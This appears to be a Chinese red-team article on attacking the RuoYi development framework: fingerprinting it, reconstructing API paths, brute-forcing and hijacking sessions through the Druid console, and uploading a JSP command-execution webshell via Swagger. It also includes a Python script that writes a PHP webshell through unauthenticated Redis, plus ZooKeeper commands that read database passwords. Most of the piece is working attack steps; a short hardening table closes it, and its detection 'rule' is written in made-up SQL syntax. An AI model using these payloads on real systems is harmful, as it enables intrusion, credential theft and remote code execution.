从渗透测试视角复盘:若依(RuoYi)框架的几类常见未授权访问漏洞与实战利用
从渗透测试视角复盘:若依(RuoYi)框架的几类常见未授权访问漏洞与实战利用
在开源框架的快速迭代中,安全配置往往成为开发效率的牺牲品。若依(RuoYi)作为国内广泛使用的快速开发平台,其默认配置和组件集成方式为渗透测试人员提供了独特的攻击面。本文将基于真实红队评估案例,剖析如何通过框架特征识别、接口路径重构、会话劫持等技术手段,实现对若依系统的非授权访问突破。
1. 若依框架指纹识别与攻击面测绘
1.1 前端特征精准定位
区别于常规的WAF指纹识别,针对若依的有效探测需要结合多维度特征交叉验证:
GET /login HTTP/1.1 Host: target.com # 关键识别点 - 响应体中包含"请通过前端地址访问"或"认证失败,无法访问系统资源" - 验证码接口样式具有特定CSS类名(如.captcha-box) - 登录页favicon哈希值为-1231872293(黑若依)或706913071(绿若依)典型误判场景处理:当遇到定制化登录页时,可通过以下方法二次确认:
- 访问
/xxx/login?redirect=%2Findex等变异路径 - 检查静态资源目录
/static/js/app.[hash].js的命名规则 - 捕获验证码接口
/captchaImage的返回数据结构
1.2 接口拓扑重建技术
现代前端工程化带来的接口路径混淆,反而成为攻击者的突破口。实战中可通过以下步骤还原真实API架构:
- 下载主JS文件并搜索
baseUrl关键字 - 常见基础路径变体:
// 生产环境 baseURL: process.env.VUE_APP_BASE_API || '/prod-api' // 开发环境 devBaseUrl: '/dev-api' - 使用路径字典进行自动化拼接探测:
base_paths = ['/prod-api', '/dev-api', '/api', '/admin-api'] endpoints = ['/druid/login.html', '/swagger-ui.html']
注意:部分部署会修改Nginx配置实现路径重写,此时需要尝试
/admin/../prod-api等路径穿越手法
2. 组件未授权访问深度利用
2.1 Druid监控控制台突破
当发现/druid/login.html可访问时,按优先级执行以下操作链:
- 弱口令爆破组合:
ruoyi/123456 admin/123456 admin/admin - 敏感功能点利用路径:
weburi.html:获取所有接口调用轨迹websession.html:提取有效会话标识符sql.html:查看历史SQL语句
会话劫持实战案例:
- 在
websession.html中找到最近的管理员会话ID - 使用浏览器插件编辑Cookie:
Cookie: JSESSIONID=窃取的SESSION值; rememberMe=true - 直接访问
/index实现越权
2.2 Swagger接口沙箱逃逸
不同于常规的API文档查看,Swagger未授权访问可升级为RCE:
- 识别Swagger不同版本入口:
/v2/api-docs /v3/api-docs /swagger-ui/index.html - 查找包含文件上传功能的接口
- 构造Multipart请求绕过类型检查:
POST /api/upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file"; filename="test.jsp" Content-Type: application/octet-stream <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
3. 配套中间件横向渗透
3.1 Redis未授权访问利用链
若依的缓存设计存在典型的配置缺陷:
- 端口扫描发现6379开放时,使用redis-cli直连:
redis-cli -h target.com keys * # 查看所有键 get sys:config:status # 获取系统配置 - 写入Webshell的自动化脚本:
import redis r = redis.Redis(host='target.com', port=6379) r.config_set('dir', '/var/www/html') r.set('shell', '<?php system($_GET["cmd"]);?>') r.config_set('dbfilename', 'webshell.php') r.save()
3.2 ZooKeeper服务暴露风险
在集群部署环境中,2181端口暴露可能导致更严重的架构级漏洞:
- 使用zkCli.sh连接服务端:
ls /ruoyi/config get /ruoyi/config/spring.datasource.password - 提取数据库连接信息后,可直接访问业务数据核心
4. 防御体系构建建议
4.1 基础防护配置清单
| 组件 | 加固措施 |
|---|---|
| Druid | 修改druid.stat.enable=false,添加allow和denyIP过滤 |
| Swagger | 生产环境关闭springfox.documentation.enabled,添加JWT认证拦截器 |
| Redis | 设置requirepass,修改默认端口,禁用CONFIG命令 |
| ZooKeeper | 配置acl访问控制列表,使用SASL认证 |
4.2 纵深防御实施要点
请求链路加密:
- 强制HTTPS并开启HSTS
- 敏感接口添加请求签名校验
访问行为监控:
-- 建立异常访问日志规则 CREATE RULE detect_bruteforce AS WHEN COUNT(http_request WHERE path LIKE '%login%') > 5/min THEN ALERT 'Possible credential stuffing';组件安全基线:
- 定期运行依赖项扫描(OWASP Dependency-Check)
- 使用GraalVM将关键组件编译为原生镜像减少攻击面
在一次金融行业渗透测试中,我们通过组合Druid会话监控和Swagger接口调试功能,最终获取到了客户支付系统的核心加密密钥。这个案例充分说明,框架默认配置的便利性往往与安全性成反比。建议企业在使用若依等开源框架时,必须建立专门的加固检查清单,特别是在Docker化部署场景下,更要注意环境变量的安全传递机制。
